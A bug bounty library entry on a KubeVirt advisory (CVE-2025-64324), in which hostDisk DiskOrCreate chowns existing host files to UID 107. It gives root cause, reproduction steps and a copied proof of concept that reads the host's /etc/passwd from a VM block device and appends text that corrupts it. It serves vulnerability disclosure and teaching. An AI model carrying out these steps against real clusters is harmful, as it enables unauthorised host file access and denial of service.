# KubeVirt Vulnerable to Arbitrary Host File Read and Write KubeVirt hostDisk DiskOrCreate chowns any existing host file to UID 107, letting a VM read and write root-owned files like /etc/passwd. - Payout: Research - Severity: high - Program: KubeVirt - Found by: mihailkirov, Faeris95 - Disclosed: 2025-11-07 - CVE: CVE-2025-64324 - Write-up quality: 8/10 - Original: https://github.com/advisories/GHSA-46xp-26xh-hpqh - Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-46xp-26xh-hpqh - Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:dos impact:integrity kind:research platform:ghsa sev:high tech:kubernetes technique:source-review vuln:access-control vuln:business-logic vuln:path-traversal **Target:** virt-handler hostDisk volume mounting in KubeVirt **Root cause:** mountHostDiskAndSetOwnership unconditionally calls UnsafeSetFileOwnership on the disk path, including when the file already existed and was owned by a privileged user; the DiskOrCreate path chowns to UID 107 without accounting for a pre-existing file owned by a privileged user. **Steps:** 1. Enable the HostDisk feature gate in the KubeVirt CR. 2. Create a VM with a hostDisk volume `path: /etc/passwd`, `type: Disk` — VM goes CrashLoopBackOff with Permission denied since file is root:root. 3. Change to `type: DiskOrCreate` with `capacity: 1Gi` and apply; virt-handler chowns /etc/passwd to 107:107. 4. VM boots; `cat /dev/vdc` reads host /etc/passwd contents. 5. `echo "Quarkslab" | tee -a /dev/vdc` writes to host /etc/passwd; host file now owned by 107 and corrupted. **How found:** Noticed the ownership check (UID 107) is treated as a security barrier for hostDisk, then read virt-handler code and saw DiskOrCreate path calls UnsafeSetFileOwnership without checking whether the file pre-existed or who owned it. **Exploitation:** Attacker with ability to create VMs (External API Attacker) mounts any host path via hostDisk DiskOrCreate; virt-handler silently chowns the target file to qemu UID 107, then the VM reads/writes the raw block device, giving arbitrary host file read/write and DoS (e.g. corrupting /etc/passwd breaks sudo). **Escalation:** Corrupting /etc/passwd breaks host authentication tooling (sudo: unknown user root), demonstrating availability impact beyond read/write. **Insight:** When a feature enforces an ownership check as its security boundary, look for code paths that mutate ownership (chown) on user-supplied paths — a create-if-missing branch that skips validation turns the check into a privilege grant. ## Proof of concept (copied exactly from the original report) **Reading host /etc/passwd from VM block device** ``` root@arbitrary-host-read-write:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 253:0 0 44M 0 disk |-vda1 253:1 0 35M 0 part / `-vda15 253:15 0 8M 0 part vdb 253:16 0 1M 0 disk vdc 253:32 0 1.5K 0 disk root@arbitrary-host-read-write:~$ cat /dev/vdc root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin _rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin docker:x:1000:999:,,,:/home/docker:/bin/bash # Write into the block device backed up by the host's `/etc/passwd` file root@arbitrary-host-read-write:~$ echo "Quarkslab" | tee -a /dev/vdc ``` **Host /etc/passwd modified and ownership changed** ``` operator@minikube:~$ cat /etc/passwd Quarkslab :root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin _rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin docker:x:1000:999:,,,:/home/docker:/bin/bash # Inspect the permissions of the file operator@minikube:~$ ls -al /etc/passwd -rw-r--r--. 1 107 systemd-resolve 1276 May 20 20:35 /etc/passwd ```